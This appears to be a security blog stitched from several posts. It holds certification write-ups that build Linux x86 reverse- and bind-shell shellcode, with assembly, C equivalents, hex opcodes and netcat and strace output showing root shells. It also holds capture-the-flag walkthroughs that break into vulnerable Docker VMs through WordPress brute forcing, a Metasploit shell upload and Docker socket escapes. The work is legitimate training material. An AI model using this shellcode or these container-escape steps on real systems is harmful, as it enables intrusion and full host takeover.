nasm  -f elf32 -o reverse.o reverse.asm
ld -N -zexecstack -o reverse reverse.o
08048060 <_start>:
 8048060:       31 c0                   xor    eax,eax
 8048062:       99                      cdq
 8048063:       66 b8 67 01             mov    ax,0x167
 8048067:       6a 02                   push   0x2
 8048069:       5b                      pop    ebx
 804806a:       6a 01                   push   0x1
 804806c:       59                      pop    ecx
 804806d:       cd 80                   int    0x80
 804806f:       93                      xchg   ebx,eax
 8048070:       66 b8 6a 01             mov    ax,0x16a
 8048074:       68 7f 01 01 01          push   0x101017f
 8048079:       66 68 10 92             pushw  0x9210
 804807d:       66 6a 02                pushw  0x2
 8048080:       89 e1                   mov    ecx,esp
 8048082:       6a 10                   push   0x10
 8048084:       5a                      pop    edx
 8048085:       cd 80                   int    0x80
 8048087:       6a 02                   push   0x2
 8048089:       59                      pop    ecx

0804808a <bind_dup2_loop>:
 804808a:       6a 3f                   push   0x3f
 804808c:       58                      pop    eax
 804808d:       cd 80                   int    0x80
 804808f:       49                      dec    ecx
 8048090:       79 f8                   jns    804808a <bind_dup2_loop>
 8048092:       99                      cdq
 8048093:       50                      push   eax
 8048094:       6a 0b                   push   0xb
 8048096:       58                      pop    eax
 8048097:       68 6e 2f 73 68          push   0x68732f6e
 804809c:       68 2f 2f 62 69          push   0x69622f2f
 80480a1:       89 e3                   mov    ebx,esp
 80480a3:       41                      inc    ecx
 80480a4:       cd 80                   int    0x80
Shellcode size: 70
\x31\xc0\x99\x66\xb8\x67\x01\x6a\x02\x5b\x6a\x01\x59\xcd\x80\x93\x66\xb8\x6a\x01\x68\x7f\x01\x01\x01\x66\x68\x10\x92\x66\x6a\x02\x89\xe1\x6a\x10\x5a\xcd\x80\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x99\x50\x6a\x0b\x58\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x41\xcd\x80
cc -DSHELLCODE=`asm-opcodes reverse` -W -Wall -fno-stack-protector -zexecstack -o shellcode ../skel.c
1
2
3
4
5
6
7
$ nc -lv 127.1.1.1 4242
Listening on [127.1.1.1] (family 0, port 4242)
Connection from localhost 38844 received!
id
uid=0(root) gid=0(root) groups=0(root)
# ./shellcode
Shellcode length: 70
1
2
3
4
5
6
7
8
9
10
11
# make strace
Shellcode length: 70
# head -n35 reverse.strace
execve("./shellcode", ["./shellcode"], [/* 24 vars */]) = 0
write(1, "Shellcode length: 70\n", 21)  = 21
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(4242), sin_addr=inet_addr("127.1.1.1")}, 16) = 0
dup2(3, 2)                              = 2
dup2(3, 1)                              = 1
dup2(3, 0)                              = 0
execve("//bin/sh", NULL, NULL)          = 0

SLAE 0x01: Bind TCP Shell

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student-ID: SLAE-1154

In contrast with the shellcodes in shell-storm.org and exploit-db.com, this one is using the well known socket functions. According to socketcall(2) these are also available as system calls since Linux version 4.3.

I’ve also decided not to call setsockopt(2) to reuse the port and relied on some implementation-specific behaviour to keep the shellcode smaller.

To perform a network I/O operation a process needs to first call socket(2) by specifying the desired protocol and to obtain a file descriptor:

socket(2) prototype
1
int socket(int domain, int type, int protocol);

The domain (also known as family) is implementation-defined, but most of the time it is one of:

+----------+-------------+
|  domain  | description |
+----------+-------------+
| AF_INET  | IPv4        |
| AF_INET6 | IPv6        |
| AF_LOCAL | Unix domain |
+----------+-------------+

The type specifies the semantics of the communication:

+-------------+-----------------+
|    type     |   description   |
+-------------+-----------------+
| SOCK_STREAM | Stream socket   |
| SOCK_DGRAM  | Datagram socket |
+-------------+-----------------+

The protocol can be set to zero to select the default one for the combination of domain and type:

+--------------+-----------------+
|   protocol   |   description   |
+--------------+-----------------+
| IPPROTO_TCP  | TCP transport   |
| IPPROTO_UDP  | UDP transport   |
| IPPROTO_SCTP | SCTP transport  |
+--------------+-----------------+
retrieving the system call number and constants
1
2
3
4
5
6
$ asm-syscall socket
#define __NR_socket 359
0x167
$ python -c 'import socket; print socket.AF_INET; print socket.SOCK_STREAM'
2
1

All of the asm- auxiliary shell scripts used throughout this series that are under the bin directory, should obviously be in the PATH environment variable. With this in mind the registers will contain the following before and after the system call:

+----------+-------+
| register | value |
+----------+-------+
| eax      | 359   |
| ebx      | 2     |
| ecx      | 1     |
| edx      | 0     |
+----------+-------+
| return   | fd    |
+----------+-------+

The bind shell will use the AF_INET family with a SOCK_STREAM type. Beware that not all combinations of family and type are valid. Then, one needs to use bind(2) to assign a local protocol address to the socket:

bind(2) prototype
1
int bind(int sockfd, const struct sockaddr *addr, socklen_t addr_len);

The socket address structure, in this case, has to be manually packed and will be IPv4 specific. Nowadays, one should use getaddrinfo(3) and sockaddr_storage which is large enough for any socket structure, instead:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include <sys/types.h>
#include <sys/socket.h>

#include <err.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int
bind_try(struct addrinfo *p)
{
  int fd, yes = 1;

  if ((fd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
      warn("socket");
      return (-1);
  }
  if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof yes) == -1)
      err(1, "setsockopt");
  if (bind(fd, p->ai_addr, p->ai_addrlen) == -1) {
      close(fd);
      warn("bind");
      return (-1);
  }

  return (fd);
}

int
main(int argc, char **argv)
{
  char                    *exec_argv[] = { "/bin/sh", NULL };
  int                      ai_ret, fd, fd_client;
  socklen_t                sl_client;
  struct addrinfo          ai_hints;
  struct addrinfo         *ai_ptr, *ai_srv;
  struct sockaddr_storage  sa_client;

  if (argc != 2)
      errx(1, "usage: port");

  memset(&ai_hints, 0, sizeof ai_hints);
  ai_hints.ai_family = AF_UNSPEC;
  ai_hints.ai_socktype = SOCK_STREAM;
  ai_hints.ai_flags = AI_PASSIVE;

  if ((ai_ret = getaddrinfo(NULL, argv[1], &ai_hints, &ai_srv)) != 0)
      errx(1, "getaddrinfo: %s", gai_strerror(ai_ret));
  for (ai_ptr = ai_srv; ai_ptr != NULL; ai_ptr = ai_ptr->ai_next) {
      if ((fd = bind_try(ai_ptr)) != -1)
          break;
  }
  if (ai_ptr == NULL)
      errx(1, "failed to bind");
  freeaddrinfo(ai_srv);
  sl_client = sizeof sa_client;

  if (listen(fd, 5) == 1)
      err(1, "listen");
  fd_client = accept(fd, (struct sockaddr *) &sa_client, &sl_client);
  if (fd_client == -1)
      err(1, "accept");

  if (dup2(fd_client, STDIN_FILENO) == -1)
      err(1, "dup2");
  if (dup2(fd_client, STDOUT_FILENO) == -1)
      err(1, "dup2");
  if (dup2(fd_client, STDERR_FILENO) == -1)
      err(1, "dup2");

  execve(exec_argv[0], exec_argv, NULL);
  err(1, "execve");

  return (0);    /* NOTREACHED */
}

Per the UNP book, it isn’t mandatory to choose a port nor an address to bind to. In that case, the kernel picks an ephemeral port and uses the destination IP address of the client’s SYN as the server’s source IP address.

IPv4 socket structure
1
2
3
4
5
6
7
8
9
10
struct in_addr {
  in_addr_t s_addr;        /* 32-bit IPv4 address */
}; /* used to be a union on 4.2BSD */

struct sockaddr_in {
  sa_family_t sin_family;  /* 16-bit family (AF_INET) */
  in_port_t sin_port;      /* 16-bit port number */
  struct in_addr sin_addr; /* 32-bit address */
  char sin_zero[8];        /* unused */
};
generic socket structure
1
2
3
4
struct sockaddr {
  unsigned short sa_family; /* address family, AF_xxx */
  char sa_data[14];         /* 14 bytes of protocol address */
};

According to Stevens, the sin_zero member was added so that all socket address structures are at least 16 bytes in size and isn’t really required when it is going to be used with the wildcard address.

The socket structures are casted to the generic socket address structure, due to the functions having to deal with a multitude of protocol families (IPv4, IPv6, Unix and datalink, for instance). One could have used void from ANSI C instead of the generic structure, however that was non-existent back in 1982.

IPv6 socket structure
1
2
3
4
5
6
7
8
9
10
11
struct in6_addr {
  uint8_t s6_addr[16];       /* 128-bit IPv6 address */
};

struct sockaddr_in6 {
  sa_family_t sin6_family;   /* 16-bit family (AF_INET6) */
  in_port_t sin6_port;       /* 16-bit port number */
  uint32_t sin6_flowinfo;    /* 32-bit flow information */
  struct in6_addr sin6_addr; /* 128-bit address */
  uint32_t sin6_scope_id;    /* 32-bit scope ID */
};

The important part here is that the family struct members match, so that it can be freely accessed when casted to the generic socket structure.

retrieving the system call number and constants
1
2
3
4
5
$ asm-syscall bind
#define __NR_bind 361
0x169
$ python -c 'import socket; print socket.INADDR_ANY'
0
+----------+--------------------+
| register |       value        |
+----------+--------------------+
| eax      | 361                |      +---------------------------+ H
| ebx      | socket(2) fd       |      | INADDR_ANY (0)            |
| ecx      | esp pointer        +-->>--+ port (network byte order) |
| edx      | 16                 |      | AF_INET (2)               |
+----------+--------------------+      +---------------------------+ L

This is the point where setsockopt(2) could be used to prevent the address is already in use error, which might occur if there are still previously established connections lying around.

For the listen(2) system call, according to SUSv4 a backlog argument of 0 may allow the socket to accept connections, in which case the length of the listen queue may be set to an implementation-defined minimum value. This works if SYN cookies are enabled, which is usually the case with recent versions.

listen(2) prototype
1
int listen(int sockfd, int backlog);
retrieving the system call number
1
2
3
$ asm-syscall listen
#define __NR_listen 363
0x16b
+----------+---------------+
| register |     value     |
+----------+---------------+
| eax      | 363           |
| ebx      | socket(2) fd  |
| ecx      | 0             |
+----------+---------------+

Next and finally in the flow is the accept4(2) call which is used to return a completed connection from the queue, if any. On success the return value is a new file descriptor created by the kernel to be used with the recently established connection:

accept4(2) prototype
1
int accept4(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags);

The second and third arguments are used by the kernel to fill the address structure of the newly connected peer. According to the manual page these aren’t really needed and can be both NULL.

+----------+---------------+
| register |     value     |
+----------+---------------+
| eax      | 364           |
| ebx      | socket(2) fd  |
| ecx      | 0             |
| edx      | 0             |
| esi      | 0             |
+----------+---------------+
| return   | new fd        |
+----------+---------------+

For the execve(2) system call there’s no need to specify argv and envp, since according to the manual page on Linux, argv and envp can be specified as NULL. This is obviously non-standard and might result in an error on other systems.

execve(2) prototype
1
int execve(const char *filename, char *const argv[], char *const envp[]);
retrieving the system call number
1
2
3
$ asm-syscall execve
#define __NR_execve 11
0xb
+----------+-------------+
| register |    value    |
+----------+-------------+
| eax      | 11          |      +-----------+
| ebx      | esp pointer +-->>--+ /bin/sh\0 |
| ecx      | 0           |      +-----------+
| edx      | 0           |
+----------+-------------+
converting path to hex and little endian
1
2
3
4
5
6
$ asm-string /bin/sh
Adding 1 slashes!
Original string: /bin/sh (7)
Modified string: //bin/sh (8)
0x68732f6e
0x69622f2f
initial execve(2) shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
; Regular execve(2) /bin/sh shellcode that tries to save as much space possible
; and follow the specification.

global _start

section .text
_start:
  xor eax, eax

  push eax
  mov edx, esp    ; envp
  push 0x68732f6e ; n/sh
  push 0x69622f2f ; //bi
  mov ebx, esp    ; filename

  push eax
  push ebx
  mov ecx, esp    ; argv

  mov al, 0xb
  int 0x80
1
2
3
4
5
6
$ asm-opcodes execve
Shellcode size: 25
\x31\xc0\x50\x89\xe2\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
$ strace ./execve
execve("./execve", ["./execve"], [/* 19 vars */]) = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0

Not specifying those arguments allows saving 4 bytes:

second version of execve(2) shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
; Save space by making the second argument to execve(2) empty. This doesn't
; strictly follow POSIX or SUS.

global _start

section .text
_start:
  xor ecx, ecx    ; argv
  mul ecx         ; makes eax and edx (envp) zero

  push eax
  push 0x68732f6e ; n/sh
  push 0x69622f2f ; //bi
  mov ebx, esp    ; filename

  mov al, 0xb
  int 0x80
1
2
3
4
5
6
$ asm-opcodes execve
Shellcode size: 21
\x31\xc9\xf7\xe1\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80
$ strace ./execve
execve("./execve", ["./execve"], [/* 19 vars */]) = 0
execve("//bin/sh", NULL, NULL)

The standard input, output and error file descriptors need to be redirected with dup2(2) beforehand to the recently accept4(2) file descriptor in order to have interaction with the created shell.

dup2(2) prototype
1
int dup2(int fildes, int fildes2);
retrieving the system call number
1
2
3
$ asm-syscall dup2
#define __NR_dup2 63
0x3f
+----------+---------------+
| register |     value     |
+----------+---------------+
| eax      | 63            |
| ebx      | accept4(2) fd |
| ecx      | 2, 1, 0       |
+----------+---------------+
| return   | 2, 1, 0       |
+----------+---------------+

In C, overall, this roughly translates to:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#include <sys/types.h>
#include <sys/socket.h>

#include <arpa/inet.h>

#include <err.h>
#include <errno.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
  char                    *exec_argv[] = { "/bin/sh", NULL };
  char                    *endptr;
  int                      fd, fd_client, yes = 1;
  long                     port;
  socklen_t                sl_client;
  struct sockaddr_in       sa;
  struct sockaddr_storage  sa_client;

  if (argc == 1)
      errx(1, "usage: port");

  errno = 0;
  port = strtol(argv[1], &endptr, 10);
  if (*endptr != '\0')
      errx(1, "not a number");
  if (errno == ERANGE || (port <= 1024 || port >= 65536))
      errx(1, "port out of range");

  if ((fd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
      err(1, "socket");

  bzero(&sa, sizeof sa);
  sa.sin_family = AF_INET;
  sa.sin_addr.s_addr = htonl(INADDR_ANY);
  sa.sin_port = htons(port);

  if (bind(fd, (struct sockaddr *) &sa, sizeof sa) == -1)
      err(1, "bind");
  if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof yes) == -1)
      err(1, "setsockopt");
  if (listen(fd, 5) == -1)
      err(1, "listen");

  sl_client = sizeof sa_client;
  fd_client = accept(fd, (struct sockaddr *) &sa_client, &sl_client);
  if (fd_client == -1)
      err(1, "accept");

  if (dup2(fd_client, STDIN_FILENO) == -1)
      err(1, "dup2");
  if (dup2(fd_client, STDOUT_FILENO) == -1)
      err(1, "dup2");
  if (dup2(fd_client, STDERR_FILENO) == -1)
      err(1, "dup2");

  execve(exec_argv[0], exec_argv, NULL);
  err(1, "execve");

  return (0);    /* NOTREACHED */
}

And, finally, the commented shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
global _start

section .text
_start:
  xor eax, eax
  xor esi, esi            ; will always hold the value 0
  cdq                     ; set edx to zero as well, by sign extending eax

  mov ax, 0x167           ; use mov instead of push imm16 and pop r16
  ; int socket(int, int, int)
  push 0x2                ; PF_INET
  pop ebx                 ; domain
  push 0x1                ; SOCK_STREAM
  pop ecx                 ; type
  ; edx (protocol) initialized to zero by the cdq instruction above
  int 0x80

  xchg ebx, eax           ; fd on ebx from this point below
  mov ax, 0x169           ; use mov instead of push imm16 and pop r16
  ; int bind(int, const struct sockaddr *, socklen_t)
  push esi                ; INADDR_ANY
  push word PORT          ; port in network byte order
  push word 0x2           ; AF_INET
  mov ecx, esp            ; addr
  push 0x10               ; 16 bytes in total
  pop edx                 ; addrlen
  int 0x80

  mov ax, 0x16b           ; use mov instead of push imm16 and pop r16
  ; int listen(int, int)
  xor ecx, ecx            ; backlog
  int 0x80

  mul ecx                 ; set edx (addrlen) to zero
  mov ax, 0x16c           ; use mov instead of push imm16 and pop r16
  ; int accept4(int, struct sockaddr *, socklen_t *, int)
  ; ecx (addr) is already zero from the above listen(2)
  ; edx (addrlen) is already zero
  ; esi (flags) is already zero
  int 0x80

  xchg ebx, eax           ; fd
  inc ecx                 ; zero from the above listen(2)
  inc ecx                 ; newfd
bind_dup2_loop:
  push 0x3f
  ; int dup2(int, int)
  pop eax 
  int 0x80
  dec ecx
  jns bind_dup2_loop      ; don't jump if ecx is positive

  push eax                ; eax is zero from the dup2(2) above (stdin fd)
  mov al, 0xb
  ; int execve(const char *, char *const [], char *const [])
  push 0x68732f6e         ; n/sh
  push 0x69622f2f         ; //bi
  mov ebx, esp            ; filename
  inc ecx                 ; ecx (argv) is 0xffffffff from the above dup(2)
  ; edx is already zero from the above accept4(2)
  int 0x80

Running the shellcode is only a matter of configuring the desired listening port with the optional -l command-line argument (4242/tcp by default) and running make. This process also ensures that it is \x00 free and automatically compiles the usual C file that executes the shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
$ ./configure -l 1337
Using remote host: 0x0101017f
Using listening port: 0x3905
Using remote port: 0x9210
$ ./configure -l 1280
Port contains NUL bytes!
$ ./configure
Using remote host: 0x0101017f
Using listening port: 0x9210
Using remote port: 0x9210
$ cd 0x01-bind/
$ make
nasm  -f elf32 -o bind.o bind.asm
ld -N -zexecstack -o bind bind.o
08048060 <_start>:
 8048060:       31 c0                   xor    eax,eax
 8048062:       31 f6                   xor    esi,esi
 8048064:       99                      cdq
 8048065:       66 b8 67 01             mov    ax,0x167
 8048069:       6a 02                   push   0x2
 804806b:       5b                      pop    ebx
 804806c:       6a 01                   push   0x1
 804806e:       59                      pop    ecx
 804806f:       cd 80                   int    0x80
 8048071:       93                      xchg   ebx,eax
 8048072:       66 b8 69 01             mov    ax,0x169
 8048076:       56                      push   esi
 8048077:       66 68 10 92             pushw  0x9210
 804807b:       66 6a 02                pushw  0x2
 804807e:       89 e1                   mov    ecx,esp
 8048080:       6a 10                   push   0x10
 8048082:       5a                      pop    edx
 8048083:       cd 80                   int    0x80
 8048085:       66 b8 6b 01             mov    ax,0x16b
 8048089:       31 c9                   xor    ecx,ecx
 804808b:       cd 80                   int    0x80
 804808d:       f7 e1                   mul    ecx
 804808f:       66 b8 6c 01             mov    ax,0x16c
 8048093:       cd 80                   int    0x80
 8048095:       93                      xchg   ebx,eax
 8048096:       41                      inc    ecx
 8048097:       41                      inc    ecx

08048098 <bind_dup2_loop>:
 8048098:       6a 3f                   push   0x3f
 804809a:       58                      pop    eax
 804809b:       cd 80                   int    0x80
 804809d:       49                      dec    ecx
 804809e:       79 f8                   jns    8048098 <bind_dup2_loop>
 80480a0:       50                      push   eax
 80480a1:       b0 0b                   mov    al,0xb
 80480a3:       68 6e 2f 73 68          push   0x68732f6e
 80480a8:       68 2f 2f 62 69          push   0x69622f2f
 80480ad:       89 e3                   mov    ebx,esp
 80480af:       41                      inc    ecx
 80480b0:       cd 80                   int    0x80
Shellcode size: 82
\x31\xc0\x31\xf6\x99\x66\xb8\x67\x01\x6a\x02\x5b\x6a\x01\x59\xcd\x80\x93\x66\xb8\x69\x01\x56\x66\x68\x10\x92\x66\x6a\x02\x89\xe1\x6a\x10\x5a\xcd\x80\x66\xb8\x6b\x01\x31\xc9\xcd\x80\xf7\xe1\x66\xb8\x6c\x01\xcd\x80\x93\x41\x41\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x50\xb0\x0b\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x41\xcd\x80
cc -DSHELLCODE=`asm-opcodes bind` -W -Wall -fno-stack-protector -zexecstack -o shellcode ../skel.c
1
2
3
4
5
6
7
8
# ./shellcode
Shellcode length: 82
$ ss -nlt|grep 4242
LISTEN     0      0            *:4242                     *:*
$ nc -v 127.0.0.1 4242
Connection to 127.0.0.1 4242 port [tcp/*] succeeded!
id
uid=0(root) gid=0(root) groups=0(root)
1
2
3
4
5
6
7
8
9
10
11
12
# make strace
$ head -n35 bind.strace
execve("./shellcode", ["./shellcode"], [/* 23 vars */]) = 0
write(1, "Shellcode length: 82\n", 21)  = 21
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(4242), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 0)                            = 0
accept4(3, NULL, NULL, 0)               = 4
dup2(4, 2)                              = 2
dup2(4, 1)                              = 1
dup2(4, 0)                              = 0
execve("//bin/sh", NULL, NULL)          = 0

Having the setsockopt(2) call would result in an increase of 16 bytes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
--- ../../0x01-bind/bind.asm.in 2018-05-21 00:35:48.689635600 +0100
+++ setsockopt.asm      2018-05-21 00:41:40.340303200 +0100
@@ -1,9 +1,12 @@
+; Like the bind shell but with a call to setsockopt(2). Allows a server to bind
+; to a port even if there are previously established connections. Also useful
+; when there are multiple local aliased IP addresses listening on the same port.
+
 global _start

 section .text
 _start:
        xor eax, eax
-       xor esi, esi            ; will always hold the value 0
        cdq                     ; set edx to zero as well, by sign extending eax

        mov ax, 0x167           ; use mov instead of push imm16 and pop r16
@@ -15,7 +18,18 @@
        ; edx (protocol) initialized to zero by the cdq instruction above
        int 0x80

+       xchg edx, ebx           ; SO_REUSEADDR
        xchg ebx, eax           ; fd on ebx from this point below
+       mov ax, 0x16e           ; use mov instead of push imm16 and pop r16
+       ; int setsockopt(int, int, int, const void *, socklen_t)
+       ; ecx (level) is already 1 from the above socket(2) call
+       push 0x1                ; enabled
+       mov esi, esp            ; optval
+       push 0x4                ; 4 bytes
+       pop edi                 ; optlen
+       int 0x80
+
+       xor esi, esi            ; will always hold the value 0
        mov ax, 0x169           ; use mov instead of push imm16 and pop r16
        ; int bind(int, const struct sockaddr *, socklen_t)
        push esi                ; INADDR_ANY
1
2
3
4
5
6
$ asm-compile setsockopt.asm
$ asm-opcodes setsockopt
Shellcode size: 98
\x31\xc0\x99\x66\xb8\x67\x01\x6a\x02\x5b\x6a\x01\x59\xcd\x80\x87\xd3\x93\x66\xb8\x6e\x01\x6a\x01\x89\xe6\x6a\x04\x5f\xcd\x80\x31\xf6\x66\xb8\x69\x01\x56\x66\x68\x10\x92\x
66\x6a\x02\x89\xe1\x6a\x10\x5a\xcd\x80\x66\xb8\x6b\x01\x31\xc9\xcd\x80\xf7\xe1\x66\xb8\x6c\x01\xcd\x80\x93\x41\x41\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x6a\x0b\x58\x56\x68\x6e
\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x41\xcd\x80

Vulnerable Docker VM: Hard

Since this is running WordPress, the standard WPScan flags to enumerate information were used. Nothing relevant popped besides its users:

1
2
3
4
5
6
7
8
9
[snip]
[+] Enumerating usernames ...
[+] Identified the following 1 user/s:
    +----+-------+-----------------+
    | Id | Login | Name            |
    +----+-------+-----------------+
    | 1  | bob   | bob _ NotSoEasy |
    +----+-------+-----------------+
[snip]

With this, brute-forcing seemed the next logical step. Used the rockyou wordlist to obtain the password:

1
2
3
4
5
6
7
[snip]
+----+-------+------+----------+
| Id | Login | Name | Password |
+----+-------+------+----------+
|    | bob   |      | Welcome1 |
+----+-------+------+----------+
[snip]

Logging in reveals the first flag in a WordPress draft:

1
2
2aa11783d05b6a329ffc4d2a1ce037f46162253e55d53764a6a7e998
[snip]

Decided with using Metasploit for an interactive shell:

1
2
3
4
5
6
msf > use exploit/unix/webapp/wp_admin_shell_upload
msf exploit(wp_admin_shell_upload) > set password Welcome1
msf exploit(wp_admin_shell_upload) > set rhost ...
msf exploit(wp_admin_shell_upload) > set rport 8000
msf exploit(wp_admin_shell_upload) > set user bob
msf exploit(wp_admin_shell_upload) > run

After unsuccessfully scouring the Web for an exploit that affected this kernel version, tried to horizontally escalate privileges by finding containers on the same user-defined network. To obtain more reliable results, a statically compiled nmap was sent to the machine to perform a ping sweep and a TCP scan.

1
2
3
4
5
6
7
8
9
10
11
Starting Nmap 7.11 ( https://nmap.org ) at 2017-11-01 09:46 UTC
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.18.0.1
Host is up (0.00053s latency).
Nmap scan report for content_db_1.content_default (172.18.0.2)
Host is up (0.00040s latency).
Nmap scan report for content_ssh_1.content_default (172.18.0.3)
Host is up (0.00029s latency).
Nmap scan report for 8f4bca8ef241 (172.18.0.4)
Host is up (0.00025s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.97 seconds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Starting Nmap 7.11 ( https://nmap.org ) at 2017-11-01 10:02 UTC
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.18.0.1
Host is up (0.00016s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt

Nmap scan report for content_db_1.content_default (172.18.0.2)
Host is up (0.00049s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE
3306/tcp open  mysql

Nmap scan report for content_ssh_1.content_default (172.18.0.3)
Host is up (0.00047s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
8022/tcp open  oa-system

Nmap scan report for 8f4bca8ef241 (172.18.0.4)
Host is up (0.00015s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 4 IP addresses (4 hosts up) scanned in 6.19 seconds

Scanning revealed a potential target with port 8022/tcp open. Reaching it is possible with meterpreter port-forwarding:

1
meterpreter > portfwd add -l 8192 -p 8022 -r 172.18.0.3

Accessing it on a browser spawns a shell on the DB container as root. While enumerating this new container, noticed that the Docker socket is available in the /var/run directory, thus, giving full control of the daemon on the host.

1
2
/ $ id
uid=0(root) gid=0(root) groups=0(root)

Since the vulnerable Virtual Machine wasn’t started with NAT configured, to interact with the UNIX domain socket, a locally and statically compiled cURL was sent as base64 to the remote machine as a WordPress draft and extracted with the MySQL client:

1
2
3
/ $ mysql -h 127.0.0.1 -u wordpress                                 \
    -e 'select post_content from wordpress.wp_posts where ID = 151' \
    -p >curl

Next a container with a host bind mount was created and started by using the REST API:

1
2
3
4
5
6
7
8
9
/ $ curl --unix-socket /var/run/docker.sock -XPOST                   \
    -H 'Content-Type: application/json'                              \
    -d '{ "Image": "wordpress:latest", "AttachStdin": true,          \
    "Tty": true, "Entrypoint": [ "/bin/sh", "-c" ], "HostConfig": {  \
    "Binds": [ "/:/srv" ] }, "Cmd": [ "sh " ] }'                     \
    http:/v1.24/containers/create?name=docker-root
/ $ curl --unix-socket /var/run/docker.sock -XPOST                   \
    -H 'Content-Type: application/json'                              \
    http:/v1.24/containers/docker-root/start

With a container created with full access to the host root directory under /srv, it is only a matter of creating a tarball with a SSH public key (which can be uploaded using the same method as above):

1
2
3
/ $ curl --unix-socket /var/run/docker.sock -XPUT                     \
    --upload-file key.tar                                             \
    http:/v1.24/containers/docker-root/archive?path=/srv/root/.ssh

Connecting via SSH on the externally standard available port:

1
2
3
4
root@vulndocker:/# id
uid=0(root) gid=0(root) groups=0(root)
root@vulndocker:/# head -n1 flag_3
d867a73c70770e73b65e6949dd074285dfdee80a8db333a7528390f6

Vulnerable Docker VM: Easy

Scanning with nmap reveals that the host is exposing the Docker daemon on port 2375/tcp. Connecting and interacting with it is possible:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# export DOCKER_HOST=tcp://172.19.0.108:2375
# docker version
Client:
 Version:      17.05.0-ce
 API version:  1.29
 Go version:   go1.8.1
 Git commit:   v17.05.0-ce
 Built:        Tue May 16 10:10:15 2017
 OS/Arch:      linux/amd64

Server:
 Version:      17.06.0-ce
 API version:  1.30 (minimum version 1.12)
 Go version:   go1.8.3
 Git commit:   02c1d87
 Built:        Fri Jun 23 21:17:13 2017
 OS/Arch:      linux/amd64
 Experimental: false

Having direct access to the daemon is a big no-no. This gives the ability to execute any commands on the remote daemon, like creating a new container and taking advantage of the shared filesystem (-v) functionality, by bind-mounting the host root directory and having access to all of its files:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# docker run -v /:/srv -it --rm wordpress:latest bash
root@23890602df34:/var/www/html# ls -l /srv
total 80
drwxr-xr-x   2 root root  4096 Aug 16 17:04 bin
drwxr-xr-x   3 root root  4096 Aug 22 14:11 boot
drwxr-xr-x  14 root root  4080 Nov  1 10:26 dev
drwxr-xr-x  90 root root  4096 Nov  1 10:26 etc
-r--------   1 root root   414 Aug 21 20:30 flag_3
drwxr-xr-x   4 root root  4096 Aug 16 05:56 home
lrwxrwxrwx   1 root root    34 Aug 16 08:30 initrd.img -> boot/initrd.img-3.13.0-128-generic
drwxr-xr-x  21 root root  4096 Aug 16 06:36 lib
drwxr-xr-x   2 root root  4096 Aug 16 06:36 lib64
drwx------   2 root root 16384 Aug 14 08:02 lost+found
drwxr-xr-x   3 root root  4096 Aug 14 08:03 media
drwxr-xr-x   2 root root  4096 Apr 10  2014 mnt
drwxr-xr-x   2 root root  4096 Apr 16  2014 opt
dr-xr-xr-x 108 root root     0 Nov  1 10:26 proc
